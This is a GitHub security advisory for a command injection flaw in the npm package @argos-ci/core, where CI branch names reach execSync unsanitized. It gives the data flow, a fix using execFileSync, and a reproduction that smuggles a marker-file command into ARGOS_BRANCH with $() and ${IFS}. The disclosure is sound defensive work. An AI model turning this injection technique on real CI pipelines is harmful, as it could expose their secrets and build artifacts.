GitHub Advisoryadvisory · npm

GHSA-4x45-gxvp-6283 @argos-ci/core: CI Branch Name OS Command Injection

HIGH Published 2026-09-10 Modified 2026-09-10 Official page ↗
Aliases
CVE-2026-59960
Ecosystem
npm
Packages
@argos-ci/core
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2026-09-10

Affected packages

• npm @argos-ci/core: < 6.2.1 → fixed in 6.2.1

Description

CI Branch Name OS Command Injection in @argos-ci/core Summary `@argos-ci/[email protected]` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High). Details The vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`: ```ts function gitFetch(input: { ref: string; depth: number; target: string }) { execSync( `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, ); } ``` `execSync()` with a template-literal string invokes `/bin/sh -c ""`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions. A secondary sink exists at `packages/core/src/ci-environment/git.ts:67`: ```ts execSync(`git merge-base ${input.head} ${input.base}`) ``` Complete data flow (source → sink): 1. `packages/core/src/ci-environment/services/github-actions.ts:104` — reads `env.GITHUB_HEAD_REF` without validation (source). 2. `packages/core/src/ci-environment/services/github-actions.ts:165` — returns the branch from the CI context. 3. `packages/core/src/ci-environment/services/github-actions.ts:330` — stores the value as `branch`. 4. `packages/core/src/config.ts:119-123` — loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization. 5. `packages/core/src/upload.ts:285` — calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`. 6. `packages/core/src/ci-environment/git.ts:123` — passes attacker-controlled value as `ref` to `gitFetch()`. 7. `packages/core/src/ci-environment/git.ts:89` — sink: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`. There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain. Recommended remediation — replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely: ```diff -import { execSync } from "node:child_process"; +import { execFileSync, execSync } from "node:child_process"; function gitFetch(input: { ref: string; depth: number; target: string }) { • execSync( • `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`, • ); + execFileSync("git", [ + "fetch", "--force", "--update-head-ok", + "--depth", String(input.depth), + "origin", `${input.ref}:${input.target}`, + ]); } function gitMergeBase(input: { base: string; head: string }) { • return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim(); + return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim(); } ``` PoC Prerequisites: • Docker installed on the test machine. • Internet access to pull `node:22` and install `@argos-ci/[email protected]` from npm. Step 1 — Build the Docker image: ```bash docker build -t argos-vuln-001 \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/npmAI_634_argos-ci__argos-javascript/ ``` The `Dockerfile`: • Uses `node:22` as the base. • Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote. • Installs `@argos-ci/[email protected]` (which depends on `@argos-ci/[email protected]`) globally from the public npm registry. • Copies `poc.py` as the container entrypoint. Step 2 — Run the container: ```bash docker run --rm argos-vuln-001 ``` What the PoC (`poc.py`) does: 1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{"hasRemoteContentAccess": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path. 2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`. • `$(...)` is shell command substitution. • `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`. 3. Runs `argos upload --files '*.png'` with the malicious environment. 4. Checks for the marker file `/tmp/argos-ci-cve-poc`. Expected output: ``` ============================================================ [PASS] VULNERABILITY CONFIRMED [PASS] Marker file exists: /tmp/argos-ci-cve-poc [PASS] The shell command injected via ARGOS_BRANCH was executed [PASS] by execSync() inside gitFetch() (git.ts:88-90). ============================================================ ``` The marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded. Manual reproduction (without Docker): ```bash mkdir -p /tmp/argos-poc && cd /tmp/argos-poc git init && git remote add origin https://github.com/argos-ci/argos-javascript.git Start a minimal mock API server (background) node -e " const http = require('http'); http.createServer((req, res) => { if (req.url === '/v2/project') { res.writeHead(200, {'content-type':'application/json'}); res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false})); return; } res.writeHead(200, {'content-type':'application/json'}); res.end('{}'); }).listen(7777); " & mkdir empty rm -f /tmp/argos-ci-cve-poc ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \ ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \ ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \ ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \ npx -y @argos-ci/[email protected] upload empty --files '*.png' || true test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED" ``` Impact This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. Who is impacted: • Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project's Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. • The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment. Reproduction artifacts `Dockerfile` ```dockerfile FROM node:22 Install git and Python 3 RUN apt-get update && \ apt-get install -y --no-install-recommends git python3 && \ rm -rf /var/lib/apt/lists/* Configure git identity for commits inside the container RUN git config --global user.email "[email protected]" && \ git config --global user.name "PoC Test" && \ git config --global init.defaultBranch main Create a local bare repository that acts as the "origin" remote. This lets git fetch succ…

Related

Alias · CVE (1)

  • CVE-2026-59960 Argos JavaScript provides official Argos SDKs for JavaScript. vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References